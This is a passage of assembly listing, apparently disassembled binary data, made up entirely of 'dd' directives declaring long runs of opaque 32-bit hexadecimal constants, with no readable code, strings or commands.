14D678F9h dd 0C89F8C40h, 0D9B950Bh, 9A227FDAh, 43986DD0h, 9335C57Ah dd 345C118Eh, 6CCEB47Fh, 6ED93CCCh, 3123B92h, 7B1CB618h dd 4ABCC6B3h, 42525680h, 3C31EDA8h, 62D7BE9Ch, 0BBD6D5ABh dd 0E697BF97h, 0A829F903h, 0DF9E6898h, 0E39D54D6h, 69FA30Bh dd 3D2EBD9Fh, 0D647E568h, 24EDC80Fh, 4AF2A86h, 0B49CC68Ah dd 0BFEF9B18h, 0EB46E8ACh, 0E64DAAA8h, 6A74416h, 3C8F74EFh dd 129B455Ah, 57A26169h, 41C307F6h, 40D57BA6h, 0B1B202E1h dd 0E416518Ah, 28B39047h, 97550C7h, 0F234B10Dh, 0F656E470h dd 26DA044Dh, 0E6A34444h, 2A3156C0h, 714FDB0h, 42628020h dd 70041E9Bh, 0E35ACD73h, 95145DFEh, 0CB2C0B0Ch, 29F9BD2Bh dd 33E7648Ch, 0B9428A02h, 0B9945B6Fh, 0E59BA751h, 0F297DF6Bh dd 8CE18335h, 0A417330h, 31FA39B1h, 7C173E0Bh, 0AE587307h dd 38E1F7B9h, 75DB7DC9h, 0F0ACA59h, 0E315E543h, 6255A951h dd 0AD511266h, 0FECC6416h, 0BC04E24Dh, 0ADE74DCBh, 0A57CAE30h dd 31978732h, 0C39886B2h, 71848003h, 0CDBBA63Bh, 3664A31Dh dd 71DC5D11h, 9121637h, 5BECFD23h, 0F143CD4Dh, 0E1A4D4BBh dd 37ACBE51h, 1A2C04h, 9FA08856h, 960EFC4Ch, 0D66F2F00h dd 2679A118h, 523EA876h, 4F01F722h, 36E45405h, 54C78C3Ch dd 56DF15DCh, 0AA2E28CAh, 1FEE2B0Fh, 6FEACC87h, 31AFBAAh dd 39A30782h, 0A371CB70h, 8EC4741Bh, 0C864CF69h, 4C8A930Fh dd 6DB63E95h, 36F5EBCDh, 817BE199h, 0FEB62C12h, 3C110822h dd 0F32AEF7Fh, 8F262BF3h, 8A6E8142h, 0F52ABA43h, 0BAAC73FBh dd 0CEB7E45Bh, 0F2F865A5h, 9763C879h, 0CC306701h, 0D61996DAh dd 70F809F4h, 1EE212B0h, 6DE05515h, 2AD118D1h, 3F0777C5h dd 0B57E1C4Fh, 8FDD4391h, 0DE83678Dh, 308331Fh, 2115430h dd 5613854Eh, 0B7037EE0h, 55DEE52Ch, 3B3A0788h, 80D641D4h dd 17DAC516h, 6020EC75h, 7DD137D1h, 581EB35Ch, 1EEBAFB6h dd 59ECF14Eh, 7083B929h, 9B7F4C88h, 0D280FFB1h, 0AC1C8273h dd 4FE45E45h, 5D2B1987h, 0EA48C113h, 0FFA1B6Eh, 0EC733BD7h dd 0E4C4682Fh, 0E5B56B85h, 7285FAF0h, 85B87D93h, 0F46A890h dd 42F538D8h, 77C6F4Bh, 2BEB099Eh, 0DC9A5215h, 0B54FEB0Bh dd 22E2FE99h, 1F470AC3h dd 0D7857923h, 6D9BEC70h, 0E85700AAh, 0B2C6947Fh, 6EB207C5h dd 5D682B07h, 3D012106h, 43D49920h, 49427CF9h, 51BF6D54h dd 38958734h, 0BE7B35FEh, 0F03B2DF4h, 0B37B3202h, 74D742F5h dd 0C6AC75E4h, 5307D844h, 0EF9C2062h, 0EF1F9476h, 0A962B276h dd 1AFC181Bh, 66800FA5h, 4EE7A467h, 0EB65B1E5h, 53090BAAh dd 75A1A23Ch, 0C1F4A0D1h, 0C64BC033h, 0C48C15C0h, 0B5C1C662h dd 0DDB7932Ch, 20EC5DF7h, 10D3A0FBh, 0C81735CFh, 2CC7246Ah dd 0C74F2A0h, 7D686ECDh, 0BC15C19Ah, 0EB5A18C5h, 3F2DC022h dd 0FE0097Bh, 446B528h, 0E5A27B37h, 0D575E303h, 0A06F7061h dd 0F6839935h, 5209418Dh, 67E7BD58h, 0ECA10AF3h, 0CCEA8434h dd 9202AE9Fh, 609CE22Eh, 34371FBAh, 0A82F10DEh, 0DA32FF86h dd 1A4F5CA5h, 0DCA0659Bh, 0A3E37334h, 5FEB6D5Eh, 23FF4FD5h dd 958B30B3h, 0FAFD5E3Ah, 4DC5B43Fh, 0CD8A0BEFh, 43CDD1FAh dd 0A40ACA2Ch, 3CC2B9ACh, 0B447E98Dh, 0E0413722h, 6FA718FDh dd 0B5B8F40h, 0D85C4112h, 8278F65Fh, 0DC179B5Bh, 7A9ECA1Eh dd 62DC6760h, 2DD0A656h, 9F1D7D39h, 44CDEF1Fh, 22B7A834h dd 99B29651h, 7D9DC8EEh, 69CE6B89h, 6603E764h, 977A1C0Bh dd 5BFC2AEFh, 57AE46CEh, 6565B75Ch, 418B1CBCh, 38D40471h dd 95134CE6h, 0DB36E098h, 1734AB7Dh, 9FD5C31Dh, 2BAD5510h dd 887ADA85h, 0AB0AD47Ch, 0F0B241Fh, 0ED6D9AA4h, 43A7010h dd 1BB040CEh, 0A63AB66Ah, 44F071DDh, 0C2B329AFh, 1AEE46C6h dd 2ED52DEAh, 8A67F57Eh, 593C9E72h, 0C0CB5090h, 9C6806B9h dd 7F728B6Eh, 1BBB138Ch, 0AFD7C525h, 0C3680EB1h, 0FD13FB70h dd 0C1639901h, 48F92B00h, 4C02384Eh, 14B839D8h, 0AD46C76Ah dd 73F88F3Eh, 4AD51DFEh, 450DBEBEh, 0D37E1CB8h, 0BC6177ADh dd 0CD16F332h, 0B01CE41Ah, 856D9B59h, 0EA56FC6Bh, 8A35F456h dd 649A2ECBh, 0E110F82Eh, 0CB1E043Ch, 0B7198675h, 77C82CCBh dd 38D372EBh, 43B425B4h, 947302B7h, 8064E27Eh, 223C42CCh dd 0EA73C1D4h, 6FC55D18h, 28B338BBh, 0B393B18Fh, 0DB00F098h dd 2819FF60h, 7CC18A30h, 5EE5992h, 0ECF15D92h, 0BE09DC2Bh dd 71CE6C00h, 72A8DC83h, 2696058Ah, 65E349AEh, 0DB5D1FAEh dd 0B12D1C34h, 3ED17EC1h, 18E85EA5h, 0AE7573EAh, 0CA46799h dd 0F71BCD57h, 28C6BD04h, 0B02EC29Bh, 0B737AE68h, 0AE38985Bh dd 9BCDC066h, 26B00DE6h, 0C191AB89h, 0BF0C9B51h, 0DB53C02Eh dd 0BB1BE172h, 0C0494D7h, 0C2B436DAh, 5CFE74DEh, 76964588h dd 0BE5413D5h, 0A8B7D595h, 7D7AB006h, 0DA731E9h, 362C172Bh dd 0E19E36B6h, 0E8779426h, 2E2E901Eh, 77AD9BDBh, 92B72199h dd 0A9AD498Ah, 25C59E2Fh, 20DE2BD6h, 7998EFA2h, 568C3A9Ah dd 6FFA7A20h, 1DCC2DA5h, 9C948E8h, 8A463EE1h, 34C85204h dd 8D10DA38h, 0BA33D175h, 0AFD6B058h, 0A41B8403h, 8820E85Bh dd 66C45A1Ch, 0F79E22CCh, 9A91E7B9h, 3CB66EAh, 0ACF93A3h dd 3EDC61FAh, 7DDD21E1h, 0DEB4E485h, 5F118A9Fh, 40D216F9h dd 49814B91h, 49A24FA4h, 48F578F5h, 114EEA20h, 6FFD12F0h dd 5A8F52ACh, 70DCBEAAh, 73C40B87h, 0F62A3DE6h, 14B1D910h dd 0AF71F86Dh, 605EFB4Eh, 27E95DBDh, 67D93EB6h, 487C0BBBh dd 0DA982812h, 0EC5D2023h, 0F85FBC33h, 9D68E712h, 10A5A120h dd 0F27F239Bh, 952BAC07h, 8F7D167Fh, 0E20F815Ah, 6C9C442Ch dd 50AB2C8Ah, 0F892359Fh, 0D692F64Dh, 9B4A954h, 0ED432832h dd 0D5659574h, 9D83456Eh, 0F179FFA4h, 0E0CBF1Dh, 0A35628B3h dd 0DD76ED0h, 14E056ACh, 0AB51DBEDh, 65D44410h, 958822C5h dd 0E3708274h, 4C0FE87Dh, 2EE14A38h, 7CDE9C04h, 7CEF499Ch dd 2FBA05C6h, 50D2EC40h, 7595E9C2h, 0E507985Dh, 4CA85B13h dd 16EA5CDEh, 1DAB9903h, 8D593626h, 47E4F851h, 0AE9B2885h dd 6DCCA542h, 0A6003A83h, 79152CF2h, 49A704FDh, 0F378E5C3h dd 0DC37A419h, 3FB6903Dh, 0B36C193h, 0E167B147h, 1CCEBAAFh dd 73CBE66Fh, 70FE7EE1h, 5CC00BFBh, 63F01898h, 8EB46CFDh dd 0B8AE1582h, 0B26829DDh, 3B464C30h, 0E6AC5ABBh, 0E11EE34Fh dd 41666464h, 7E864F0Bh, 7DED71D1h, 6FA4881h, 2A44ED3h dd 0D852D495h, 5F308F40h, 0B3E97497h, 88478440h, 8334974Dh dd 903A3D91h, 289E69E4h, 0B354ACF3h, 0D010E791h, 65562C02h dd 180CB806h, 72C664EBh, 78E35DAFh, 9E87983h, 24CF43ACh dd 2F0D0496h, 5CEB6B2Dh, 0DF845F5h, 91C216F5h, 0A4A2F444h dd 0C736906Eh, 3E2FDD34h, 6FE5522Fh, 43F272F3h, 2D262ABFh dd 0A943CF89h, 6AD8B899h, 0A789C971h, 0E160348Fh, 8D13940Ch dd 5AFB5ACCh, 0BCAEE2C5h, 39D90ED0h, 0CD8331BFh, 0AA3BE773h dd 46BA59E6h, 0B8E92C7Bh, 443FA893h, 1FF165C5h, 6C59C32Eh dd 0BAC23B8Ch, 0BE61DA4Eh, 0F648E662h, 3DE0DF4Dh, 299C7B03h dd 0F09A3AC2h, 924C8476h, 8CBCA382h, 6933E193h, 0EC6BD944h dd 6488EA78h, 82991CCEh, 6F13891Bh, 136111EFh, 7F301735h dd 238B17DAh, 701E8C54h, 12C5719Fh, 748A66A0h, 5420FB91h dd 0E15ED3F4h, 0AE47BF2Bh, 0C1372357h, 2A2E1F05h, 77FA7B9Fh dd 0D474E800h, 5EA90F17h, 749976EAh, 0CFC06182h, 53977F0Dh dd 44A25CDAh, 1E3CC57Ah, 0D8C9665Ch, 0F96BFA6Fh, 2509F161h dd 0F45F372Ah, 0BEE160A1h, 0A502C98Ah, 0AF14931Eh, 4927A551h dd 7EEE1202h, 4D056374h, 0CD56BCBh, 2F66BD1h, 0EC6D1CC8h dd 0AA04E410h, 0DF5F07BBh, 2887B60Dh, 8D76F372h, 0FF9956Fh dd 0DC7C06CFh, 4DFB3116h, 72F07215h, 259E7DE6h, 86279056h dd 0B1453A14h, 9DB35E11h, 5D9E67C1h, 857315CFh, 0B09946ECh dd 0D15F27D8h, 4DF1653Fh, 6BDD3CBFh, 5B95A36Dh, 5EB1ABADh dd 6DD2E80h, 1B46AF94h, 6DD200F9h, 7DBE1BFEh, 9D94C5CFh dd 0D021DF53h, 0B279DE63h, 0C209FA59h, 1ECF9242h, 0B8085435h dd 0BECA194Eh, 827FFD59h, 9D71F503h, 0C435E545h, 0B8CC8F2Fh dd 0E19B2C08h, 0F075816Eh, 8409DB4Bh, 4621DF37h, 0AC4A8856h dd 0F9C0B33Eh, 0F1AE10C5h, 6A5B311Bh, 251ABC03h, 67943C95h dd 447D06ADh, 0B43DA600h, 493C9B5Bh, 80FA7B21h, 0A348B619h dd 0D12ED019h, 53E5AA42h, 8153F2F4h, 3B5FE71Ch, 6FD848C8h dd 0F016243Ah, 0BE628F15h, 9D46FB8Bh, 0C25DE762h, 10E59B74h dd 9465EBD0h, 443CF540h, 0F274D9A3h, 0C629C15h, 42A0DE16h dd 0AE14D673h, 65D874C1h, 579046FCh, 1D25B79Ch, 0C40D20D2h dd 922E0A3Bh, 4FF201F5h, 0B92586EBh, 71EECC1Ch, 0BFE8A1B8h dd 82F95091h, 0F3A048EFh, 0F8569931h, 0ED030C30h, 0CA63B68Ah dd 8F888E00h, 5BE5AB59h, 8F97B99h, 3ED464F5h, 584E19BBh dd 3C32C2F6h, 0B9903CBDh, 76F41AB6h, 45BE26C4h, 34CA3AA9h dd 0C9980Eh, 0CA67AAFFh, 0AF09EE14h, 7A23DC44h, 98749CBh dd 0D5AAF98Fh, 28CCE54h, 0C676E610h, 1315C921h, 0CC718E39h dd 0FE5D542Eh, 3D0CE37Eh, 7E6F6D6h, 0FB42EEEh, 83E4A25h dd 4ACD73D2h, 34F3BF82h, 26E5A568h, 38FFA366h, 4219D174h dd 6C3BF78Ah, 8E3294D0h, 8655E538h, 0F88F23F6h, 55BFB124h dd 0C3A10EF4h, 492B886Ah, 44BB070Eh, 4E281DAFh, 5FC263D5h dd 8DED98E1h, 3FD6E52h, 39AF2096h, 0D04DF73Ch, 28E5D371h dd 85366E3Ch, 17B85EFBh, 21E187BFh, 0A9B45276h, 6A1CC17Fh dd 0C45A2FB9h, 0F0389D73h, 20D78B3Eh, 0BA01496Ch, 0E81E5472h dd 7CBB07B2h, 7EBDFD30h dd 70B7FB3Eh, 8AC1194Ch, 0D4E33F72h, 0E6354598h, 5B6E83D6h dd 0BDE6D005h, 0C1F72D5Bh, 0C7200E8Bh, 7152B499h, 0C82C3217h dd 4CA79FE6h, 1E096554h, 0D8CB3B22h, 9285F9E8h, 0C4CFD79Eh dd 9AD0063Ch, 0E091564h, 80B0B02h, 2050908h, 340F071Eh dd 0C6D12D3Ch, 90E3F3CAh, 4A5DB180h, 0C375F76h, 77ADDBE4h dd 0CDEA1041h, 4F6C8EAFh, 0C1E6042Dh, 3B508ABBh, 85B2E801h dd 0D7043657h, 93E6CA5h, 25BA01D3h, 0AA4B7A64h, 5BA435D4h dd 0D831A9FAh, 802CC244h, 1F436E9Bh, 2977E10Fh, 0B655F5E6h dd 0B76F292Ah, 52001002h, 10A0DA9Ch, 0A999092Dh, 0BB3C3E02h dd 4D8E171h, 66F37DF9h, 6BED76FEh, 50AFD214h, 0BE7828CDh dd 0D4712BD2h, 28828B5Ah, 24CE7506h, 2316CF73h, 0E0AAA0DCh dd 18DC99F1h, 8A1D9D43h, 4AF737D4h, 608E6CD4h, 0E1BC3392h dd 88DEBE6Ah, 4811751Dh, 0B95305BFh, 0E344603h, 0F6972B46h dd 55ECCAB8h, 0E88F50B6h, 0FF87B078h, 775D829h, 0D54FCB83h dd 0A89B1E30h, 58D8BDA3h, 7198FA36h, 0E3682233h, 0F75749ADh dd 7F48F601h, 398235B5h, 0E35AD921h, 1D52C305h, 1E6B03EFh dd 0DB780ED7h, 0EA702E4Bh, 5316C0E2h, 0C70188C1h, 49A1657Dh dd 6966686h, 0E39658D2h, 0F85C383Bh, 0C328FC6Ah, 50019809h dd 5E1D13A5h, 31A191CEh, 0F95DC37Bh, 0E63ED7B9h, 84A8765Fh dd 39E2AA25h, 0A660B7C5h, 0EB738170h, 0F462BF6Ch, 116FE05Dh dd 0BE7C14ECh, 0CB0B8F9h, 0C0713925h, 9322E77h, 56C016FAh dd 5445ADDFh, 9070B056h, 0B02EEF6Ah, 0C61F64FBh, 274D278Ah dd 1787165Eh, 1BE61FE3h, 32D7298Dh, 379D0901h, 0FD55F94Bh dd 75C7C11h, 66DF61C0h, 6D0ACFB8h, 0D8B48DAAh, 660DCD7Bh dd 0BB865FAFh, 77C6EC76h, 0AD2423E4h, 0B4EE2BE7h, 0B6044DD8h dd 0FCAD2E15h, 0AEB09249h, 0FB3BC6D1h, 0B08FEB73h, 50F428E9h dd 0B6ABA504h, 0D965ED4Fh, 0BAE568Ch, 6AD9D6A0h, 6579E37Fh dd 6E8779D0h, 0E2DBF9A6h, 23875F1Dh, 65A9651Dh, 7D1BB60Fh dd 35033436h, 74A40875h, 0C52A8866h, 2EA2714Ah, 0FCC995C7h dd 0E15F91FAh, 9D0AB167h, 607EF4E2h, 222EDFFDh, 95315637h dd 18205264h, 4C26FE7Ah, 12A65DB8h, 0F3341306h, 95B852B2h dd 48A27EA1h, 3C203B10h, 1FC7ADD2h, 92A24955h, 45349379h dd 0ABBE2066h, 4BB25FFFh, 7F1D6610h, 95679D56h, 6D8F4A57h dd 60BC79A1h, 0BF472E40h, 0F61F5C06h, 7220C13Eh, 0ED929513h dd 7C808878h, 0F193871h, 93884611h, 0CB41C451h, 0BFF300EDh dd 0B34F1193h, 842C8BD2h, 0CA4726E2h, 5475341Eh, 28E5F9A9h dd 0E76DFAAh, 38199BF1h, 0B168809Ah, 6BA87A48h, 47A5669Fh dd 481590F6h, 1622D8EEh, 1C3AF059h, 15183A7Fh, 31A393C0h dd 0CCB0035Ah, 0C2C240EAh, 32D3043Fh, 62DB2DCCh, 24A19EA4h dd 0DD73EC78h, 7DC43F0Fh, 461C04FFh, 0D46941F7h, 3A8DA728h dd 850C56B2h, 6325E785h, 67F58735h, 0EF12DA89h, 0A0BA5F69h dd 7F3FD0BBh, 0F3597D3h, 0B65E1C60h, 4CD604CAh, 0DBAE67EAh dd 704D62Ah, 8B4CA667h, 7A6AECBh, 8FD0101Eh, 55378FF1h dd 0CD5362B8h, 0AB33733h, 9114C9Dh, 0AEF643C5h, 4C94548Ah dd 0A02A670Fh, 6CD8C8B0h, 0DB5D59F3h, 63A8842Eh, 8768F6A9h dd 0C340FFC3h, 3AAC03A4h, 0F65FD674h, 0F504973Bh, 9B4CCEEEh dd 8C29E3D5h, 0F505AE75h, 8EAE0AFh, 2D2FB984h, 8C44BA7Fh dd 0D562BE19h, 0A1E0A33Fh, 0F062BECDh, 4ADF5D21h, 807E209Ah dd 933DAC61h, 0A9857FA1h, 0A24E8C68h, 24CF8A14h, 8165F86h dd 984C44E1h, 1A8F85E2h, 5049DC79h, 29D81CD5h, 21BC1A3h dd 74454D05h, 88A349D8h, 0DBF4B7A6h, 0EA819F3Bh, 0ECBB1F5h dd 7210C979h, 0A87DF692h, 6E98F07Dh, 1264CBBFh, 735C810h dd 4A5299C5h, 7D9BE7A9h, 0D4AE554h, 7BD2638Eh, 76573CC1h dd 0C049E944h, 2430819h, 0C5D20729h, 0EB08628h, 95C97F46h dd 8DA44563h, 0A990DAE3h, 9030062h, 0B9FB231Dh, 2B73783Ch dd 46940CDCh, 22ED1250h, 0F10232A5h, 0CF6F3FB7h, 67DA2285h dd 889996B9h, 2F6553ADh, 0F6B83FF9h, 3530FB7Bh, 0A40DAFC3h dd 9C18C9E8h, 358BD50Fh, 0CAD093C3h, 5C9218A3h, 396F0094h dd 0BAA3E00Bh, 0EBB18597h, 421B58DBh, 0E0BC45E4h, 4E04CF27h dd 4F00A61Ch, 69E183DAh, 8AAD2DA4h, 64CAE8A2h, 0B5496156h dd 22E99E87h, 0C8DC5DE1h, 0A9ADCAEh, 77A58297h, 0F72D3F62h dd 0D75B13E1h, 1460AAF2h, 99B50D00h, 80434064h, 13F0D06h dd 6A3A324Ah, 0AE5D1F8Fh, 20540EC2h, 5E4BD7D7h, 8725376Bh dd 1A882547h, 842198A4h, 0B47402FCh, 52E19A61h, 3D518DDDh dd 0CFA3E3A9h, 18AF3670h, 0C83D8C28h, 0D1CEE48Ah, 0BB077F6h dd 0A7753E4Dh, 0A0241226h, 44FA79B8h, 34DD2B32h, 6B458604h dd 0A0C35203h, 11263AFh, 4B16C34Eh, 91A85064h, 5808BBEDh dd 0DC8D72Eh, 490ACA45h, 7A2942C2h, 0C24B6F12h, 65B7B608h dd 0DFCC1E0Ch, 0EB666E96h, 0CD3FBEA1h, 0C06A1825h, 37CDB286h dd 56381775h, 14E12A64h, 0B8D071BBh, 0B9E33613h, 5904343Eh dd 0ADED3B47h, 9225EA28h, 0C725898Fh, 64C3D09Eh, 98E6A8A0h dd 59357704h, 2097E18Ch, 5E763FABh, 0C4E8A28Ch, 8F33B0E6h dd 0E8A013A5h, 63E5C5D7h, 1DEF7AA3h, 0D2841B11h, 47301727h dd 0FABE7E6Dh, 5D4AE45h, 5488894Dh, 0E5D7A687h, 0FE0FFD40h dd 1B5F1EB8h, 4AEA0493h, 92AAEED8h, 440506E7h, 6E47CC87h dd 789272D5h, 0ABD6DB6Ch, 26E51A06h, 269F69D0h, 60C5E27Ah dd 0BEC26A8Bh, 2ABBE537h, 0D4986916h, 27DB31FAh, 0A808BE50h dd 0E6DF86E2h, 426A14CBh, 211E75B5h, 6D7F73CFh, 0D0192513h dd 4CE919FEh, 0BFC14A0Bh, 0C472957Eh, 55D005F9h, 891F8ADEh dd 150BD15Bh, 1EFAD25Dh, 0A79B938Eh, 478B397Bh, 0C78EB071h dd 0C6DE5A82h, 0DCFFF7D9h, 0CB071853h, 611F11DAh, 38FC3B7Fh dd 58D9467Fh, 0A96B71A3h, 0EDC97CC6h, 1C9BC892h, 5327ED48h dd 6E29A3A8h, 751C80F9h, 613A8AB0h, 0D95A41E3h, 810B4911h dd 34808F83h, 665AC172h, 7905D4DAh, 23AC31ABh, 0C198219h dd 0CC4F1900h, 64DE4647h, 70BC204Ah, 95679BB6h, 0A6C5F312h dd 0E9AFBFE4h, 69F46E58h, 42D400C0h, 5CC743Ch, 607F6CF5h dd 67FDF3BDh, 67E72390h, 0C837DACEh, 92610718h, 9493BD82h dd 2BDFC8CEh, 337734FCh, 688A7A81h, 28F619CBh, 6F80CEABh dd 0B08B9A2Dh, 584AA242h, 896B2469h, 0DA262F0Dh, 77D25318h dd 48826FA1h, 0BE5E1DB2h, 33A17CEDh, 7DFD03FFh, 45DB0A6Ah dd 944871h, 3F810B5Dh, 9F110FDh, 4DF5A7B9h, 75C0A4DDh dd 0B28960EBh, 0A78614F4h, 0B1E3555Fh, 5D9F39D7h, 91602A86h dd 0E8EF3102h, 0C14AC334h, 28E2E312h, 886A6315h, 126326FFh dd 5645FE22h, 3AE3A6B6h, 0C6BA120Eh, 4713E5Ah, 0D413D3BEh dd 0F96758C1h, 55254EEAh, 0FAB37598h, 8C78D5B0h, 0BF0AA154h dd 774F0A72h, 0CFD0AD95h, 9DCA3A36h, 0CE34D41Ch, 0C523310Ch dd 0C46EFAC3h, 0D11D3A08h, 0DAA1DC7Fh, 0A3715E4Bh, 773AEAA0h dd 0A047F5ABh, 373BC63Eh, 5D577064h, 18AEF270h, 0E34BE7DEh dd 9D39C501h, 0F53BA2A4h, 0B8B606F9h, 0B2BD9F69h, 0A68F1F96h dd 915F0C5Eh, 17532719h, 0D994780Dh, 990F4989h, 0B77780F2h dd 4DADDD7Dh, 60C2ADB2h, 0AAE1AD2Bh, 120A5EECh, 0AF572ECBh dd 0D5B47E6Dh, 0B2E426EBh, 0F448D435h, 0D5AC0404h, 6E11643h dd 12AA945Eh, 4FF0D18Eh dd 3D9876E2h, 0AF32908Fh, 7CFD2A38h, 82ECBBA1h, 0CB660DC1h dd 88830D94h, 0DA2569D4h, 0FE774B09h, 44CBE2CAh, 0E4374909h dd 5DA111AFh, 467F8156h, 3373216Bh, 0AF7EF3E4h, 661C9572h dd 0F291F9BAh, 0C311A456h, 41E8A14Eh, 85AD43C3h, 3D773ACEh dd 7E43EC1Dh, 0BB36FC14h, 3BEEAC04h, 1F6D5B10h, 4BC7AFB7h dd 0A43D4E15h, 0A57E2014h, 11934283h, 4EF7AC41h, 0AFD19331h dd 0B6D7796Bh, 5CF5D5Fh, 3098B009h, 51B8ED59h, 0BFF95AF0h dd 0C56200F8h, 0F8313E7Ch, 4A229CBEh, 0DF8604ACh, 0EFE05F2Dh dd 0EADF5D6Eh, 0D145D23h, 52931A92h, 0D0E8CB23h, 0A1DA3608h dd 0B07D86F5h, 0DBA4D911h, 0F110CC7Ah, 0EF129FE5h, 0D1D8D4ADh dd 0C3220008h, 0A191C7FCh, 1CDDF882h, 0D9F59DBh, 8AC71E1Bh dd 0E782DE11h, 0BB44EADFh, 0A98CA06Dh, 1A91121Bh, 430937E6h dd 0AFC0D654h, 0A23CB7BEh, 4725BE8Fh, 0AFF35559h, 31E525Ah dd 3AF29BEEh, 4C1B0BC4h, 3F96803Ah, 29683835h, 0A92150A8h dd 0FD9B6DBCh, 0A63874F8h, 3FFDB329h, 0D98706A0h, 260EE434h dd 93313A0Eh, 6ABA4BB5h, 0A1E074A8h, 1E84867Ch, 17CA90D1h dd 39365C5Eh, 8FBDD3D1h, 25619016h, 0AE47FB8Ah, 0F662BD3h dd 5B2B186Dh, 0E25983ECh, 0C29B5CA7h, 0CF971FEEh, 7B3DE459h dd 79BEF070h, 0E1BC76B3h, 943E1789h, 0D01EE876h, 22419DCEh dd 6FF77474h, 86C32097h, 3A4088ADh, 7110DA5Bh, 8E35CBE7h dd 0B43D4DD2h, 0F7B465C9h, 0D42663F0h, 3B4FFDC3h, 9B7E38AAh dd 5A5C4F5Ah, 0B8B5E7D6h, 3DB261F2h, 43720712h, 9942F871h dd 905D9D04h, 76A8D5AEh, 97B567BEh, 78A5F736h, 0C39128B1h dd 8720094Ah, 31930AB2h, 0AD1FFA97h, 83FEBBF3h, 8A33C9A6h dd 0E649E09Ah, 0B319C222h, 7660FFEDh, 0CF8B64C5h, 0B6848A9Eh dd 0DC70919Ah, 8C3A39FBh, 0D75FB04Eh, 4222C46Ch, 65B6EC09h dd 96E24F30h, 0A79B1B14h, 9BEF4h, 0A8C20F22h, 9B84F050h dd 35CF472Ah, 8D92A7ECh, 0C68899Ch, 8A4A98EAh, 31139703h dd 4DA79C6Eh, 0E63B39D3h, 0A2E390FAh, 3F498229h, 0D32999A9h dd 0CC9BEACCh, 0D6EF0ED8h, 14CE278Bh, 5DAFBB10h, 94AA8D8Fh dd 891BF8BCh, 0C03FB8D1h, 0DA094D6Bh, 0A55AE326h, 4BE02F14h dd 85BA43CDh, 7C246A4Fh, 8E28138Eh, 2928DF65h, 0CE5CD66Dh dd 0A6DA92E5h, 0C17E34F4h, 0F8BAB2BBh, 57862009h, 0B7A4E2D4h dd 360A6BFCh, 3C15116Eh, 3A831D6Ah, 4FBF64F6h, 0B03D0EDEh dd 2C9A7609h, 71D0A471h, 713205BBh, 0FAB07E31h, 2A6AC259h dd 9CC9C399h, 0A702D415h, 73BD6431h, 51A461EEh, 4833350Ah dd 64740756h, 68E5F157h, 74CB5121h, 0CEC0050Fh, 0EA70EA67h dd 342F6EF4h, 0F6EFAC65h, 95724CC6h, 8F48C354h, 683C83CCh dd 32EE0036h, 0C5049700h, 4F02D788h, 0D98D88A0h, 82F51710h dd 0F2971845h, 88DCEA49h, 0FB8202ECh, 9BD36F34h, 22E52209h dd 7DE8C1FDh, 61E0EB2Dh, 27512EF1h, 0C666AA73h, 91685DD8h dd 0D7DA2004h, 473C32EAh, 51A05056h, 4E9BCFEh, 0DF72819Ch dd 0CD80AE7Bh, 55F3EB06h, 9CA99754h, 0C4872A5Eh, 4C94531Eh dd 6C50C0B0h, 6C4B0AC3h, 3755C719h, 630C011h, 0FC4D30F9h dd 9C13DBB7h, 7074A95Bh, 91BA7CFBh, 7D70AB8Ch, 72D424DBh dd 4C6A018Ah, 6C2A9D9Eh, 0A03572CFh, 66F475Ch, 69B9067Eh dd 59125AC2h, 0C95B9B2Fh, 5D9C96E4h, 3FC114DEh, 0CA06E2A1h dd 550AB048h, 48FE05E7h, 3BD415DBh, 0FEBD7Dh, 3FA913ADh dd 58E05125h, 0FB3FF77Eh, 0B123E34Eh, 757FB67Ah, 8244095Dh dd 0DB298F71h, 7ACF689Ah, 887CC570h, 8FF7C835h, 0E2F83E67h dd 0B64428FDh, 7E22D0A9h, 61EB2F55h, 14BEBFC1h, 1917DD80h dd 67F401CDh, 80C8922Dh, 89475AA8h, 81C24CACh, 7B47F6DFh dd 0EB3C716Ah, 192E35B7h, 0D0FB9531h, 16A79BADh, 329B16DDh dd 0EC4EF6F8h, 2B011F17h, 0A5DBB7F0h, 5E2C66C1h, 0BD86328Ah dd 2A424FFCh, 23365E8h, 0BEA5DB45h, 3942B862h, 9BF9958h dd 1A8569D8h, 0ACA51ACh, 0EE81DE67h, 37338C34h, 3A333254h dd 1878EA53h, 37DBCCE4h, 0CBA06FAEh, 0EC3E9814h, 23916E11h dd 6D0254Ah, 60D35D6Dh, 274AA930h, 0CED921D7h, 9F8477DAh dd 8EC560A9h, 0A262D135h, 2BBB9356h, 17BCAA7Eh, 0AF9F5DC5h dd 0C24903C8h, 7DBD410Bh, 5816F4B2h, 3DE5DAF6h, 8F40295Ah dd 6C6E62A9h, 49258576h, 14847D29h, 5CC7F4ECh, 0D1F03476h dd 0A1336677h, 45076DC2h, 28CF6DEBh, 8127EC37h, 0C6B87BF9h dd 26D214Fh, 1AF6EAh, 2FE33DF5h, 3ACA1751h, 0B63E17EDh dd 9023F062h, 0DA36F56h, 6C5CF05h, 5BDD6732h, 0B7515B1Dh dd 0D1A784FEh, 0A75D7AE8h, 1B36A1D4h, 0F759E64Ch, 0B333B3CEh dd 5905A2E7h, 1BE6EFD6h, 111BB424h, 0BBE92541h, 36D9CFD7h dd 9BC74AA1h, 9A0BCD27h, 0C64FC664h, 69AE7078h, 588BEFA9h dd 93123A97h, 6970EDDBh, 921717D6h, 0BDE4325Ah, 3F44F6D7h dd 14C3B87Bh, 9471BC80h, 0F2BCB209h, 0AC9ED426h, 0BFFF8ECEh dd 2BE2A18Eh, 884922E3h, 0FD84BB54h, 0EA66F417h, 0C333B53Bh dd 6040F3E7h, 59328A9Ch, 0B195A879h, 0C12EDA85h, 6D04A26Ch dd 94F2A85Ch, 0EBF14D89h, 33175B6h, 0FAC805A6h, 13D35286h dd 0F8B69089h, 824FEE48h, 0EACC62AAh, 0EB94D10Ch, 9E6B4ACAh dd 3D00D75Eh, 0F3BF0225h, 0AA2F63ACh, 0CAF2A739h, 0D5FCE476h dd 7544D6B2h, 0AEE52DABh, 0D6F8473Bh, 0CC24098h, 33FB00DFh dd 0C27F961Ah, 21C44160h, 5BA163E1h, 7CD8C5ACh, 0D2CF4917h dd 28875BCCh, 86B794DBh, 0E6DB86A1h, 0BDAE0B4Fh, 0CC435DAFh dd 0A0EADF7h, 311029E3h, 0B58DBD80h, 6F3D9AF2h, 0F354F58Eh dd 0ABF94AF4h, 9B2068FAh, 0EC4FBA93h, 0BA58FD3Bh, 9F2C835Bh dd 0FBF53F53h, 1ED62430h, 82D76396h, 4121AC7Dh, 3EA4E4B2h dd 427BA51Ah, 0C13C44CBh, 17ABA862h, 